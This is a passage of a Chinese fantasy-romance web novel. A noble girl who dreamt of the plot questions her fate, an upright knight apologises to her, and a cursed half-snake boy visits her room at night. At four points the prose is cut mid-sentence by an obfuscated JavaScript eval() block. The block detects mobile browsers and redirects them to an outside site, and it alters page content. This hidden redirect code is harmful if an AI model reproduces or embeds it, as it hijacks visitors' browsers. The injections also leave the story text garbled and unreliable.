莲娜递给她一个安抚的眼神,起身过去开门。 “莲娜小姐,打扰了。”穿着白色骑装的骑士堵在门口,用词礼貌却不容拒绝,“艾尔顿小姐应当已经苏醒了,有些事情需要询问她。” 莲娜皱眉:“这么着急吗,她才刚醒,我想应当给艾尔顿小姐一些休息的时间。” “事态紧急,请见谅。”说着,路西恩已经习惯性往屋内扫视探查,对上莉迪娅的眼睛,微微一顿,冲她点头示意后礼貌地移开视线。 莲娜板着脸拦在路西恩面前,试图挡住他不安分的眼睛:“您似乎有些冒犯了,路西恩队长。” “事态紧急。”路西恩重复,“请见谅。” 两人僵持在门口,气氛隐隐有些不妙。 几秒钟后,莲娜率先松了口:“可以,但我想,您需要给一位淑女留下整理的时间。” 路西恩颔首,主动后退一步,在门口等待。 房门被重重关上,莲娜回到床边,尽管脸色有些难看,但还是努力扯出一个笑脸:“您知道的,艾尔顿小姐,教廷的部分骑士行事比较死板。这位路西恩队长深受神子的信任,是出了名的……固执。”莲娜意有所指,“连我们都拿他没有办法,但请您放心,他绝不会刻意为难。” 她小声而迅速地为莉迪娅说明情况,一边为她调整靠枕的角度,好让她坐直身体。 莉迪娅连连点头,脑子里却在想刚才看到的画面。 他就是主角团之一,被称作“绝对公正”的骑士长路西恩吗? 看起来果然很古板正直……是绝对不会被任何利益打动的那种类型。 想到自己当着他的面偷带道具的行为,莉迪娅暗自打了个寒颤。 她、她当时怎么有那么大的胆子,还敢在道具被没收之后冲他发火的? 在昏迷期间,莉迪娅梦见了一本巨大的书。 书籍摊开朝上,静静地悬浮在半空。页面上一片空白,但凝神望去,又能隐约看到一些文字。 莉迪娅尝试性地读了几行,大脑便一阵绞痛,但得到的讯息令她十分震惊。 这是一个很老套的故事。 勇者,骑士,贵族,王子。主角团的四个人性格不同,身份不同,在机缘巧合下共同经历一次次冒险,最终打败魔王,拯救世界。 这种睡前读物,莉迪娅从小听到大,可这本书里出现的人名却让她惊讶。 据说受到诅咒的勇者名为安古因斯,正直公正的骑士则叫路西恩,还有贵族与王子的名字恰好与她认识的人一模一样……莉迪娅不认为这只是一种巧合。 她看的这一页恰好是故事概要,虽然莉迪娅只能看清几行字,却立刻提取出了重点。 主角团代表光明与正义,而故事中所有试图与主角团作对的人,下场都异常凄凉。 作威作福的大贵族、盛气凌人的王室成员、教廷中与外人勾结的叛徒……如果按照预知梦的发展,莉迪娅本该是“作威作福的大贵族”之一。 然后她就会倒霉地撞上一只发狂魔兽,成为有史以来唯一一个死在圣罗帝亚入学测试上的学生。 清醒过来的莉迪娅,回想起书里的内容,又想到自己的处境,欲哭无泪。 怎么办,虽然这一次没有得罪勇者,但她好像已经把骑士给得罪掉了! 在最正直公正的骑士面前公然作弊被抓还对他大发脾气,这种程度,算是故意和他作对吗? 她呆滞地任由莲娜整理衣服,还没想出一个完美的解决方案,又听到莲娜在她耳边用气音说:“伯爵托我转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041608|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告您,不用担心。” 伯爵……是哥哥吗? 她睁大眼睛,来不及追问,屋外又一次传来敲门声。 莲娜急急忙忙把门打开,骑士已经又一次站在门口。 “感谢您的体谅,路西恩队长。”她在体谅两个字上咬了重音,很明显对他的催促感到不悦。 “抱歉,打扰了。”路西恩说,“例行询问,请您见谅。” 按照惯例,询问时不得有无关人员在场,莲娜被迫离开,房间里只剩下莉迪娅与路西恩两人。 房门被关上,莉迪娅有些不安。见状,路西恩坐在房间中央,与她保持着足够安全的距离:“对这次考核中出现的意外事故,我代表圣骑士第三小队,深表歉意。” 在路西恩的预想中,他已经做好了贵族小姐大发雷霆、对他指责辱骂的情况。 毕竟在这场意外中,他有着不可推卸的责任。因为他们的失职,场地内才会出现发狂的魔兽,才会危急她的生命。如果他没有远远守护在她身后,那么他没收所有防御道具的行为,会是将她推上绝路的致命一击。 路西恩行事足够公正,哪怕是对自己也毫不留情。作为队长,他应当承担起大部分过错,在这次例行询问之后,他会主动去稽查队领罚。 现在,面对这位无辜的受害者,无论她提出什么要求,在不危害他人的情况下,路西恩都会竭力完成。 哪怕是将他丢到斗兽场里赤手空拳与魔兽厮杀,或是用鞭子将他抽打到遍体鳞伤。 然而路西恩等了又等,没等来她的怒火,反倒等来了一道小小声的道歉。 “对不起……” 他诧异望去,这位金发碧眼的贵族小姐双手交叠放在被子上,脊背挺直,坐姿优雅,神色却非常不自在,好似犯了错的不是路西恩,而是她自己。 “对不起,之前,我太任性了……”莉迪娅偷偷观察路西恩的表情,想到昏迷前最后一眼看到的画面,又急忙补上迟来的道谢,“谢谢你救了我。” 这里其实存在一个信息差的问题。 莉迪娅梦见过那本书,她知道这场考核中突然出现的魔兽不是意外,是一场专门针对她的阴谋。最终目的是利用她的死亡挑起教廷与王室之间的矛盾。 她与面前的骑士长路西恩,追根究底都是这场权力斗争中的牺牲品。 因此,现在她面对路西恩时,想到的不是因为他的过错才导致自己被魔兽偷袭,而是在最开始她明晃晃违反规定被抓住还威胁埋怨他,他却信守承诺一路保护自己,在危急时刻救了她。 这么一想,她之前扰乱秩序不配合他的工作,还故意说“如果我死了都是你的错”这样的话……她好过分啊。 认真反省的莉迪娅,决定勇敢承认自己的错误。 另一边,对路西恩来说,确确实实就是因为他的失职才导致魔兽被放进来,造成如此严重的后果。能救下艾尔顿小姐,只能说双方都过于幸运。可如果他没有跟上去呢?如果魔兽盯上的是其他无人守护的考生呢?如果有学生因此丧命…… 路西恩想,情况绝对会比现在要糟糕百倍不止。 就算现在得到了最幸运的结果,他也不会因此忽视自己的过错。 只是他没想到艾尔顿小姐居然会向自己道歉。 这大大出乎他的意料,这位从进房间开始就一脸严肃的骑士长,又露出了无所适从的表情——就像当初面对哭泣的莉迪娅时一样无措。 5. 第 5 章 莉迪娅小心翼翼,尽管她不断告诉自己不能再冒犯这位骑士长,但在等待他作出裁决的间隙,还是忍不住偷偷观察他的表情。 也许是回到教廷的缘故,他看起来要比之前少了一丝压迫感,身上的白色骑装和先前略有不同,隐约可见淡金色的纹路从肩膀蔓延至腰腹,消失在被腰带勾勒出的劲瘦细腰处。 亚麻色的卷发蓬松又柔软地贴在耳侧,那双在莉迪娅严重极其冰冷无情的浅棕色眼睛,此刻也被衬托得漾出些许温度。 只是双唇紧紧地抿着,叫人无法准确分辨他的心情。 路西恩头一次在贵族小姐的注视下如此无所适从。 在这个时代,贵妇人们与小姐们私下豢养骑士已经成为人们心照不宣的秘闻,她们会挑选合心意的骑士陪伴在侧,是骑士自愿效忠、献出生命的主人。 能得到青睐的骑士不多,路西恩作为教廷十二圣骑士长之一,也曾收到过一些“邀请”,但他无一例外全都拒绝了。 他并不打算将忠诚献给除了神子以外的人。 可现在,被这位艾尔顿小姐如此“放肆”地打量,路西恩竟然尴尬地不知手脚该如何摆放。 她显然并没有任何其他意思,就连看过来的视线也躲躲闪闪,一副暗中观察的模样。 但是她的伪装在路西恩面前毫无用处。 敏锐的骑士长接收到了每一丝窥探与她小小起伏的情感,路西恩不愿意去思考她在为什么而惊呼,却也无法完全无视被牵扯出波澜的心弦。 于是他只好让自己变得更加严厉肃穆,在眼神与她相撞的瞬间垂下眼帘,装作若无其事:“您无需如此自责。是在下守卫不周。” 被、被瞪了! 一定是她偷偷观察的举动冒犯到他了! 莉迪娅只觉得圣骑士长眼神凌冽,警告似的看了自己一眼,就这么恰好抓住了她来不及收回的视线。她再次慌慌张张扭头,在心里修正了对他的认知。 也许面对其他人,他会是书里描述的公正温柔的圣骑士长。但在面对她这个“作威作福的大贵族”时,他会是不留情面的冷酷裁决者! 就、就这样得罪了一个主角吗? 莉迪娅吸吸鼻子,感觉眼眶已经有点酸涩了。 她从来就不擅长面对这些事情。过去的十六年,因为常年生病,她一直在远离王城的边陲小镇调养身体,鲜少与外人接触。 在身体好转的时候,她可以邀请小镇上的女孩子们参加茶话会,但也仅限于女孩子们。那些善良的女孩们都十分照顾她,莉迪娅和她们相处很愉快,可惜的是她的身体一年也难得好转一次,能够和女孩们相处的时间也很少很少。 所以莉迪娅完全不知道该如何和一个除了哥哥以外的男性青年相处。 她低头盯着自己的手指发呆。 然后她听到路西恩说:“请不要为此感到烦恼,小姐,您拥有任性的权利。只是如今失态紧急,希望您能谅解并如实回答接下来的问题。” “拥有任性的权利”的意思,果然还是在指责她先前的行为吗? 莉迪娅有点委屈。 说到底,莉迪娅是在家人的疼爱中长大的女孩子。被疼爱的孩子总是天然地“有恃无恐”,尽管莉迪娅已经不像其他贵族那样傲慢无礼恣意妄为,但她从小接触的环境天然地给她传递了一个认知。 做错事情的时候,学会反省和敢于道歉的好孩子是可以得到别人的原谅与喜爱的。 被好好保护了十六年的女孩子还想不到“不是所有错事都可以被轻易原谅”这样的层面,她遵循着从小到大接受的教导,认真反省了自己的错误,乖乖向别人道歉,然后满心欢喜地期待一声谅解。 可从头到尾,路西恩都没有说上一句“没关系”,他没有原谅她,一直在顾左右而言他,说着“无需如此自责”和“拥有任性的权利”这样的话,看似温柔体贴,却一直在回避,一直没有将她当成平等的主体对待。 哪怕路西恩正面回应表示不接受她的道歉,也远比现在这样含糊其辞要好得多。 莉迪娅难受极了,她想要生气,可又不清楚自己究竟为什么生气。甚至理智还在不断提醒,现在做错了事情的人是她,无理取闹的人也是她。 这些思绪在脑海中转瞬即逝,而现实中,她只是坐在床上,闷闷地说了一声“好”。 路西恩只当她同意回答问题了。他问:“您还记得在考场内发生的事情吗?” “……是说那只魔兽吗?” “是,请您从头到尾完整阐述进入考场之后经历的事情。” “我朝着终点的方向一直走……” 莉迪娅不知道路西恩一直跟在她身后,她尽量不放过任何一个细节,回忆在考场内的经历。 “……就在小溪边,那只魔兽突然出现——再后来的事情,你都知道了。” “对那只魔兽,您还有印象吗?”路西恩追问,“您看清那只魔兽的——” “咚咚咚。” 急促的敲门声打断了两人的对话,不等屋内的人应声,门忽然被人拉开,陌生的骑士堵在门口:“路西恩,神子大人找你。” 来人直呼路西恩的名字,看上去与路西恩关系熟稔。他扬起嘴角,对屋内的女孩露出一个略有些轻佻与玩味的笑容。 莉迪娅立刻又紧张起来了,是一种与面对路西恩时截然不同的紧张,她只觉得自己的脚心有点痒,尾椎处好像被轻轻吹了一口气,那一点热气蒸得她整个脊椎都开始发麻。 这是为什么呢? 她晕乎乎地往路西恩的方向挪了挪,想要寻求一点庇佑。 “雷文。”路西恩起身,有意无意拦住了同僚的视线,“别太过分。” “行吧,古板的骑士长大人。”雷文耸耸肩,满不在乎,“神子大人在找你。” 路西恩迟疑地看向莉迪娅,知道今天的询问已经无法再进行下去,他挺直身板坐在木椅上,想要与她约定下一次谈话的时间。 雷文却径自走入屋内,斜斜靠在他的椅背上,仗着路西恩看不到自己的神情,极其放肆地冲对面的贵族小姐抛了个媚眼,说话的语气仍一本正经:“神子到处找你呢,路西恩,快点过去吧。” 想说的话再次被打断,路西恩深吸一口气,知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041609|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不是合适的时机。他克制地对莉迪娅颔首示意,请她在屋内好好休息,随后起身整理好衣冠,反手擒住了雷文的手腕。 “哎哎哎,你抓我干什么,我还没有和这位美丽的小小姐打过招呼……” 虽然雷文痛呼的动静十分夸张,但他却没有抵抗的意思,顺着路西恩的动作往门外走去,还不忘记抽空冲终于被他逗笑的贵族小姐挤眉弄眼。 莉迪娅情不自禁又拔高了对雷文的好感度,对方的热情与自来熟让她放松多了,面对雷文的“求救”,她抿唇笑着,小幅度地对他挥了挥手。 “再见。”她作出口型示意。 房门再次被合上,莉迪娅看着空荡荡的屋子,悄悄松了口气。 屋外。 离开房间后路西恩就松开了抓着雷文的手。教廷的走廊不算狭窄,足够六个人并肩而行,路西恩在前面大踏步走,雷文却没有走到他身边,在他身后不远不近地跟着。 “路西恩,走慢点,急什么。”雷文双手交叠放在脑后,步调懒懒散散,拖着长长的尾音,“我都要跟不上了哦。” 路西恩不作声,脚步渐渐慢了下来。 两人并肩走了没几步,见雷文一副完全不打算开口的模样,路西恩不得不主动问道:“你就没有什么想说的。” “没什么好说的。”雷文说,“路西恩,我劝过你很多次,不要参与到这些事里去,你从来都不听。” “我只是尽到应尽的职责。” “什么职责,只因为是神子大人的吩咐而已吧。”雷文语气微沉,压低了声音,“路西恩,你只是平民,参与太多对你没有好处。神子只是把你当成一颗棋子……” 话音未落,前方拐角处传来了纷乱嘈杂的脚步声,雷文止住话头,抬眼望去,一个身材高大的贵族青年,身后跟着一群低声下气试图阻拦的牧师,气势汹汹朝两人走来。 只一眼,他们就判断出了这个青年的身份——王国里最年轻的伯爵,诺克提斯·艾尔顿。 他和那位艾尔顿小姐很像。 两人都有着金色的头发和碧绿色的眼睛,区别在于艾尔顿小姐的金发颜色更明亮,眼睛的颜色更剔透纯粹,而眼前这位艾尔顿伯爵的头发却是浅金色,眼底一片深沉,看起来就是一个凉薄寡情的人。 很难想象这样两个人会是兄妹。 几人在长长的走廊上打了个照面,路西恩和雷文停下脚步侧身避让,谁都没有说话。 艾尔顿伯爵姿态优雅,速度却不慢。他没有给不相干的人分出丝毫多余的关注,擦身而过的瞬间带起些许气流,往两人来时的方向走去。 “伯爵大人,还希望您能稍等片刻,”跟在他身后的牧师抹着额头渗出的细汗,佝偻的脊背像在不停鞠躬,“您这样闯进来,不符合教廷的规矩啊。” 他不敢跑到伯爵前面阻拦,又不能让人对方直接闯入教廷,跟在他身后胆战心惊的劝着,瞥见并排侧身避让的两个人影,抓住救命稻草一般眼前一亮:“这位——这位就是护送艾尔顿小姐回到教廷的路西恩骑士长,伯爵大人,您可以问他,艾尔顿小姐绝对没有受到任何伤害。” 6. 第 6 章 路西恩和雷文都感受到了那股审视的目光。 诺克提斯不在意谁是路西恩,既然两人走在一起,他就简单直接地将他们看做一体。他扫视了一遍这两个人的着装,问:“她在哪里。” “沿着这条走廊直走,尽头最后一个房间。”路西恩语气平稳,“请您放心,艾尔顿小姐并没有受到伤害。” 诺克提斯眯起眼睛,盯着两人的视线瞬间变得冰冷危险:“你们做了什么。” 不等路西恩回答,诺克提斯冷哼一声,阴冷的眼神从身后试图插话的牧师身上划过,轻飘飘地落在面前的卷发骑士身上。 什么话都没有留下,青年伯爵继续往前走去。 牧师们如同一尾尾毫无方向的小鱼,呆愣地跟上伯爵的步伐,只有落在末尾的一个牧师同情地看了路西恩一眼,默默在心底为这位骑士长做了片刻祷告。 希望之后艾尔顿伯爵不会过多迁怒这位骑士长大人。 一行人浩浩荡荡走远。 刚才的话题被打断,路西恩也没了与雷文继续谈话的心情,和雷文告别后,他往神子所在的神殿走去。 另一边,莉迪娅刚从床上下来,准备探索这间屋子。 屋子里的摆设很简单,一张床,一张朴实无华的木桌,一把木椅。 木桌上整齐摆放着她换下来的衣物,除此之外空无一物。莉迪娅粗粗扫了一眼那叠衣服,没发现什么异样,于是又弯下腰去检查桌子底部。 她记得教廷内部并不干净,以她的身份,给她安排的房间里很大可能会出现一些并不该存在的小道具。 然而整张桌子包括椅子都毫无异样,莉迪娅皱眉站在桌前,怀疑的视线渐渐挪到了床底下。 难不成…… 垂落的床单将床底挡得严严实实,虽然理智告诉莉迪娅,床底是空的,但是她盯着素色床单看了半天,总害怕里面会突然冒出什么东西。 她不是很想去掀开来看——万一她弯下腰去掀开床单就和一张苍白的鬼脸对上视线怎么办? 从前开茶话会的时候,女孩们轮流讲过许多恐怖故事,当时大家凑在一起听的时候莉迪娅感觉很刺激,只有一点点害怕。可是现在一个人待在陌生的房间里,从前听过又忘记的恐怖故事居然一个接一个冒出脑海。她忽然激起一阵寒颤,完全不敢上前。 还没等她纠结出结果,房门再次被敲响。 “咚。咚。咚。” 不急不缓的三下敲门声,是她非常熟悉的节奏。 是哥哥! 她飞速扬起笑脸看向门口,余光瞥见桌面上有一条长长的黑色的条状物,脑子还没反应过来,手已经飞速将那东西塞到裙子底下。 房门被打开的一瞬间,金发碧眼的女孩就迫不及待扑了过去。 “哥哥!” 她撞进青年怀里,将自己塞进熟悉又温暖的怀抱。 诺克提斯伸手接住妹妹,两只手抓住她的手臂将她稍稍提远些,仔细检查了一番,确认她身上没有多余的伤口,看起来也不像是受到惊吓的样子,一直紧绷的下颌才略微舒缓。 “站好。”诺克提斯冷声说,“有人来问过话了?” “嗯……”莉迪娅乖乖站好,还在原地转了个圈全方位展示了一下,“我没事,哥哥。” 她刻意在回避他的问题。 这里人多眼杂,确实不是适合说这些的地方。诺克提斯站在门口迅速打量屋内,只在桌面略显凌乱的衣服上停留片刻,随后冷声吩咐:“既然没事,现在就跟我回家。” 莉迪娅还没应声,被诺克提斯挡在门外的人群里,站在最前面的牧师结结巴巴:“这、伯爵大人,这不符合规定……” 莉迪娅这才发现哥哥身后还跟着一大群人,刚探出来观察的脑袋立刻缩了回去。 她不想和这么多教廷的人接触。 诺克提斯也不想让她待在教廷,他无视牧师的话,立刻就要带莉迪娅离开。 现在在这里的都只是一些普通牧师,都是一些落魄小贵族家的后代。理论上教廷的权利要比贵族更高,可他们谁也不敢拦下这位深受国王器重的艾尔顿伯爵。 于是众人眼神躲闪,与身边人相撞又分离,最后居然没有一个人敢再次开口,甚至在伯爵的气势威压下让出了一条通道。 莉迪娅跟着哥哥走了没两步,想起自己的东西,又赶紧折返将桌上的衣服全都抱走。 兄妹俩顺利离开教廷,等坐上家里的马车,莉迪娅才敢彻底放松下来。 回想这几天的经历,坐在温暖舒适的马车里,她终于对自己还活着这件事有了确切的实感。 手里的衣服被放到一旁。她大大地舒了一口气,听到哥哥再次询问:“有人审讯你?” 莉迪娅犹豫着回答:“……应该,不算吧?” 不等诺克提斯继续问,女孩已经向倒豆子一样将一天的遭遇全都说了出来。 从早上被没收所有魔法道具开始说到路西恩骑士长送她的腰带,从树林里遇见的黑发少年说到在小溪边被魔兽偷袭,只要是她经历过的事情,莉迪娅求将每个细节都原封不动地告诉哥哥。 她早就发现了,虽然她没办法直接将“未来”说出口,可已经发生过的事情则不会遭受那么多限制。 哥哥那么聪明,一定能通过她的描述洞察到一切! 果然,诺克提斯极其有耐心地听完了莉迪娅这一整天的遭遇。连妹妹说自己早上胃口不佳只吃了三个小面包这种事都听得异常专注。 在听到妹妹被带进小黑帐篷里的时候,诺克提斯冷下了脸。 在听到妹妹身上所有道具都被收走的时候,诺克提斯冷哼一声。 在听到妹妹被系上黑金腰带的时候,诺克提斯捏紧了拳头。 …… 等莉迪娅意犹未尽地讲完,用期待与崇敬的眼神向诺克提斯看去时,他面色深沉,显然已经察觉到了许多足以颠覆整个王城的信息。 此时,马车已经在艾尔顿庄园内停留许久。家里的管家与仆人们等了又等,终于看到他们美丽的小姐安然无恙从马车上下来。 只不过早上出门时那身漂亮又安全的穿着变成了一身看起来就十分粗糙的麻布袋子一样的长袍,老管家紧张地看了看小姐的神情,见她不像是受了大委屈的样子,提着的心才落下来。 仆人们一窝蜂上来拿东西,莉迪娅被簇拥着回家,回头一看,马车已经再次启程离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041610|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 诺克提斯忙到几乎不着家,抽出时间解决莉迪娅的事情之后,一刻不停就要去处理其他公务了。 虽然早就知道哥哥有多忙碌,莉迪娅还是忍不住带了点失落出来。 老管家也跟着叹气:“小少爷越来越忙了。” 老管家是看着兄妹俩出生的,艾尔顿夫妇意外离世后,老管家等同于兄妹俩唯一的长辈。哪怕诺克提斯已经长成了高大健壮的冷面伯爵,依旧会被她亲切地称为“小少爷”。 莉迪娅就更不用说了,她几乎是老管家带大的,一见到她就依偎在她的肩膀上撒娇:“玛佩尔,我好想你。” 玛佩尔比她晚出发几天,今天才到王城。她摸摸莉迪娅的头发,温柔又慈祥:“回家就好,莉迪娅可以好好休息了。” “好呀好呀。”莉迪娅黏黏糊糊答应着,像个小牛皮糖一样粘着玛佩尔不肯离开。 不过玛佩尔也有很多事情要忙,她需要重新接手庄园的管理。莉迪娅跟在她身后转悠了一会儿就感觉到了疲倦,被玛佩尔哄着喝了一碗热乎乎的南瓜汤,泡完澡后舒舒服服躺在大床上睡熟了。 女孩陷入柔软的枕头里,脸颊白里透红,沉沉陷入梦乡。 玛佩尔贴心地替她掩了掩被角,关好门窗,退出房间。 过道上,一个女仆刚好捧着裙子准备去清洗,玛佩尔顺手翻了一下衣服,微微皱起眉头。 她没说什么,示意女仆离开,心中有点担忧。 莉迪娅所有的衣服她都经手过,她清楚记得这件裙子有搭配一条丝质腰带,可现在那条腰带不知所踪……算了,既然是小少爷亲自送小小姐回来,事情应该都处理好了。等有空的时候再问清楚吧。 * 黑夜到来,庄园渐渐陷入沉寂。 黑暗中,花园里传来窸窸窣窣的声音,一条细长的墨绿色的小蛇从草丛里爬出啦,分叉的蛇信在空气中捕捉需要的信息,小小的蛇头转来转去,最后锁定庄园三楼的一扇窗户,坚定地朝那里爬去。 小蛇翻越栏杆,攀爬粗糙的外墙,来到阳台,对着透明的大落地窗爬去。 “咚。” 寂静的夜晚,一点点声响都被无限放大。小蛇一头装在玻璃上,晕头转向趴在原地,好一会儿才甩甩脑袋重新支起来,仰头对着异常高大的落地窗吐吐信子。 在里面。 近乎纯黑的小尾巴烦躁地拍打地面,过了一会儿,似乎下定了某种决心,尾巴尖抬起,对着落地窗轻轻一点。 “咔哒。” 清脆的声音响起,小蛇试探着顶了顶玻璃门,成功挤进了门缝。 这一系列动作耗费了它大量力气,等进入房间,小蛇又趴在地上缓了许久,随后懒洋洋地吐出蛇信。 浓烈的气息充斥了它那不算大的小脑仁,它被这股气息吸引着朝房间正中央那张柔软的大床爬去。 床单滑溜溜的,小蛇爬到一半就啪叽一声掉到了地上。反复几次之后,床上传来翻身的动静,小蛇僵在原地一动不动,等到床上的人重新安静,它僵直的躯干才变得柔软起来。 这一次,它算准高度,蓄满力气,奋力一跃—— 蛇身陷入一片温热柔软的地方。 7. 第 7 章 浑身都暖洋洋的。 蛇从来没享受过这么温暖的巢穴。 身下的床垫又软又有弹性,蛇的尾巴忍不住拍打床面,从尾巴尖传来令蛇身心愉悦的震动。不大的脑仁晕晕乎乎就伏了下来,将原计划忘得一干二净。 “嘶,嘶。” 蛇信露在外头,好一会儿才回到嘴里。 坚强的意志让蛇想起了自己的目的,察觉到床上还存在一个巨大的热源,它扭着身子往热源的方向爬去。黑暗中几乎无法察觉墨绿色小蛇的踪迹,只听到一点点丝绸摩擦的声音。 蜿蜒的踪迹从床尾蔓延到枕头。 蛇最终在莉迪娅的脖颈处停了下来。 蛇信再次吐出,细嗅着空气中弥漫的气味,确认床上的人就是自己要找的目标之后,蛇慢悠悠地支起身子。 停顿。 ……它原本打算做什么? 糟糕,耽搁太久,已经忘记了。 蛇甩甩脑袋,尾巴尖翘起,满脸严肃地沉思了好长一段时间。 熟悉的气味,并不令蛇讨厌。 蛇喜欢。 于是这条细长的小蛇顺从本心地在枕头上盘成一小团,时不时吐出蛇信,试图将这个喜欢的味道牢牢记在脑子里。 等到倾斜的月光偏移了角度,蛇才恋恋不舍地游下床,赶在天亮之前悄无声息地离开。 一条墨绿色的小蛇从富人区一路爬行,最后进了一间略显破旧的屋子里。 蛇尾上浓郁的黑色不断翻腾,一阵压抑着的痛苦呻.吟过后,蛇身逐渐拉长,巨大的蛇尾缓缓滑动,顺着蛇尾向上望去,粗壮的蛇身却连接着一段属于人类男子的腰肢。 蛇尾是黑色,但与肌肤连接处的鳞片却明显可以看出是墨绿色,鳞片遍布小腹,向腰身蔓延,越往上颜色越浅,在肚脐下方时几乎与雪白的肌肤融为一体。 人身蛇尾形态的转变,给他带来了巨大的痛楚。从灵魂深处迸发出的疼痛让安古因斯绷紧全身肌肉,腰腹处的形状骤然分明,晶莹的汗珠顺着蜿蜒起伏消失在鳞片深处。 如绸缎般光滑柔顺的黑色长发凌乱散落在身后,几缕发丝粘在毫无遮掩的上半身,忍过那阵剧烈的痛楚后,安古因斯才开始接收变成蛇那段时间的记忆。 黑发少年仰面躺在冰凉的地板上,连接腰身的蛇尾扭曲盘旋着,粗壮的尾巴尖烦躁地拍打地面。 明明他最开始的目的是探查那个女孩的异样,偏偏现在被诅咒污染的程度越来越深,已经到了异化之后完全无法保持理智的程度。这对安古因斯来说不是个好消息。 或者说,自从他来到王城之后,心里就一直萦绕着不安。 这几天,安古因斯总觉得自己遇到的每一件事情都充斥了满满的违和感。尤其在考核中见到那个金发碧眼的女孩之后,脑海中就时常听到一个陌生的声音。 “杀了她。” “杀了她。” “杀了她!” 可直觉告诉安古因斯,他不想伤害她。 少年冷静思考过后,想出了一个绝佳的方案,当晚,他就变成一条小蛇潜入富人区,追寻着熟悉的气息,决定探查她身上的异常。 ……没想到自己一晚上居然什么都没做,只在她身旁睡了一觉就心满意足地回家了。 十六岁的半蛇少年沉默拨动着尾巴上的鳞片,完全无视了脑海中那个越发癫狂地喊着“杀了她”的声音,默默决定今晚再去一趟,探查清楚女孩身上到底有什么异样。 随后,他再度痛苦地蜷缩起上身,巨大的蛇尾在空荡的房间内翻滚、拍打,渐渐化成了两条属于人类男性的赤裸的长腿。 兽性彻底褪去,少年肌肤苍白,赤.身.裸.体瘫倒在地,人类的羞耻心占据上风,黑色长发勉强遮住些许关键部位。 他踉跄着起身,从角落的柜子里翻出一件黑色长袍胡乱披好,侧身倒在冰冷坚硬的小床上,沉沉睡去。 * 漆黑的夜色里,王城的绝大多数建筑都黑沉沉的伫立着,放眼望去,只有王宫和教廷附近还残留着星星点点的光芒。 从圆顶的琉璃窗户望里窥探,柔和明亮的光芒充斥着房间的每一个角落,在这里,黑暗无所遁从。 骑士长路西恩单膝跪在房间正中央,虽然面前有薄纱遮挡,没有得到允许,他依然不敢抬头直视这间屋子的主人。 “……神子大人,我不明白。” 薄纱后的纤细人影悠悠长叹,声音中仿佛含着数不尽的温柔:“没关系的,路西恩,你已经做得很好了。” “这是神的旨意,你我都无法阻拦……”神子浑身上下都透露着悲天悯人的气质,哪怕隔着纱帘无法见到他的真容,也能从言语中感受到神子对世人的慈爱与包容,“尽我们最大的努力保护世人,路西恩,你已经做得很好了。” “……” 骑士长固执而沉默地跪在原地。 见他执意想要得到一个明确的回答,神子同样沉默了很久,才再次发出一声无奈的长叹。 “是我抹去了所有痕迹。”他苦涩道,“如果魔兽异化的消息在这个时候扩散出去,恐怕……” 路西恩攥紧拳头:“我知道这不是您的本意。” 神子无奈劝道:“不要这样说,路西恩。教皇大人也许有他的考量……事到如今,我们也只能遵循他的意志,这件事暂时只适合秘密调查。我想,你会是最好的人选。” “……是。” 正事谈完,路西恩起身告退,却见薄纱微动,一只素白纤细的手微微探出,带着粉意的指尖隔空对他轻轻一点。 残存的疲惫在此刻全部褪去,连同繁杂的思绪。路西恩的大脑一片清明,他低头谢过神子的好意,从房间离开后,眼神已经重新坚定起来。 他不该怀疑教皇大人的旨意。整个王国的人都知道教皇大人曾经为了保护一个城池的居民免受瘟疫的侵扰,甚至不惜透支自己的生命。 他怎么能怀疑这位有史以来最受世人爱戴的教皇大人。 空荡的走廊上,雷文双手抱胸,单腿站立靠着墙壁。见路西恩终于出现在视野内,雷文挠挠后脑勺,嬉皮笑脸打招呼:“哟,总算出来了。” “嗯。” 两人并排行走,聊着接下来的安排。 “最近你不用参与夜巡了,你的小队暂时由我管辖……你到底对那位艾尔顿小姐做了什么?这次的处罚怎么会这么严重。” 路西恩脚步一顿:“谁?” “那位可爱的险些被你,哦,是已经被你吓哭过的小小姐。”雷文说,“艾尔顿伯爵向教廷施压,原话是……我想想,哦,‘严惩那个胆大妄为的蠢货’。” “所以现在,”雷文慢条斯理地通知他,“路西恩骑士长,你被革职了。” 既然要求他进行秘密调查,肯定会为他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 